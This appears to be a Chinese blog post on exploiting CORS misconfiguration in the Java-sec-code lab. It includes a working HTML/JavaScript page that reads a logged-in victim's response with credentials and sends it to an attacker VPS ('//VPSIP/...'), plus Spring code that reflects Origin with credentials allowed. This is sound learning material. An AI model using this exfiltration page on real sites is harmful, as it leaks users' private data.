有一直在寫cors漏洞,但是一直沒有去真正的利用他,今天就來學習記錄一下利用。
0x01前置知識
就簡單提一下
Access-Control-Allow-Origin: 可以寫出哪些域名能訪問本站的資源
Access-Control-Allow-Credentials:字段不是必選字段,它的值是一個布爾值且只能設置為true,表示服務器允許瀏覽器將cookie包含在請求中,否則就不添加此字段。
這里需要注意的是如果是下面這樣,任意域都能訪問的,而且為true的是不能帶cookie的
Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
果要發送cookie,Access-Control-Allow-Origin就不能設為*,必須明確指定與請求網頁一致的域名,同時Cookie依然遵循同源策略。
我覺得獲取到cookie需要滿足:
Allow-Origin配置中有的我們能用的白名單域;
或者是有存在漏洞域的父域名。
域名等級划分
網上有一些說法,但是不統一 有說頂級域名后還在存在一級域名的
也有頂級域名后就是二級域名的,這里就采用第二種說法:
一級域名(頂級域名)
".com"、".net"、".org"、".edu"、".info" 這些由國外公司管理
".cn",".uk" 國家和地區頂級域名
二級域名
就有 a.com b.com 這些都是二級域名
而 a.com是.com域的子域名 ,.com是a.com域的父域名
父子域名是相對的,比如ss.a.com和a.com就是互為父子域名
前提是他們的協議一樣 端口一樣
引用一張圖片
0x02漏洞環境
看看Java-sec-code里面的漏洞代碼Cors.java
從請求header里面獲取到Origin的值,然后直接就映射為
Access-Control-Allow-Origin: 的Origin值
並且Access-Control-Allow-Credentials設置為true,也就是說能夠帶cookie訪問
這里雖然能帶上cookie,但是前面說過了獲取cookie的條件,我們不一定能通過這個漏洞獲取到cookie。
0x03漏洞利用-信息泄露
首先在VPS上搭建一個頁面test,漏洞環境搭載在本地
<!DOCTYPE html> <html> <body> <div id="demo"> <button type="button" onclick="cors()">Exploit</button> </div> <script> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("demo").innerHTML = alert(this.responseText); //利用下面代碼發送到日志中去 location="//VPSIP/cors/?response="+this.responseText; } };
//漏洞網站地址 xhttp.open("GET", "http://localhost:7869/cors/vuls2", true); xhttp.withCredentials = true; xhttp.send(); } </script> </body> </html>
test里面會帶上responseText的值去訪問我們VPS監聽的端口 這里沒寫默認是80
這里用戶登錄,然后訪問頁面,這里輸出的是頁面信息
然后我們發送搭建的test頁面,誘導用戶打開
可以來抓包看看,可以看到這里的Origin頭是我們服務器的,訪問是附帶上了cookie,然后返回也是可以的
alert彈窗
然后是去請求我們服務器監聽的端口
附帶了用戶訪問/cors/vuln/origin頁面的信息返回到服務器上,造成信息泄露
0x04總結--cookie利用?
如果我們直接在test代碼里加上document.cookie 附帶到發送回來呢?
按照前面說的我們雖然是帶cookie請求,但是不能獲取到cookie的。
該項目采用的是Spring boot 在Cors.java里面新寫一個注解映射/vuls2頁面
這里把cookie添加到response里
@RequestMapping("/vuls2") @ResponseBody private static String vuln_test(HttpServletRequest request, HttpServletResponse response) { Cookie cookie1=new Cookie("user_cookies","MSF7D_go_go_go");
response.addCookie(cookie1); // 獲取Header中的Origin
String origin = request.getHeader("origin");
response.setHeader("Access-Control-Allow-Origin", origin); // 設置Origin值為Header中獲取的 response.setHeader("Access-Control-Allow-Credentials", "true"); // 允許帶上cookie訪問 return info; }
訪問/vuls2頁面,可以看到我們的cookie
然后去訪問getcookie.html頁面,可以看到帶上了我們設置的cookie
可以看到返回包是有cookie的
獲取cookie返回為undefined
然后監聽得到的,其實這里document.cookie顯示就是undefined,
應證了前面說的可以發送cookie但是不能通過這種方式來獲取到cookie。
之前說過想要利用除了滿足必要的條件,必須還要父域或者是Allow-Origin 里面寫有我們的域才行
下面引用開發者寫到就是一個跨domain帶cookie的測試,xxx為前端,test為后端實現的一個訪問。
因為這里的cookie設置的domain是.joychou.org 為 是xxx和test的父域
大致的配置代碼也就是
感覺這個洞獲取cookie token難度要大一些,不如XSS,不過被設置了httpOnly xss就不好使了。
這個可以配置xss來利用的,還某些情況下可以Vary緩存xss中毒這些。
參考鏈接:
https://www.cnblogs.com/sijidou/p/13114351.html
https://blog.csdn.net/stpeace/article/details/82823686
https://blog.csdn.net/xiaxiaoxian/article/details/79287458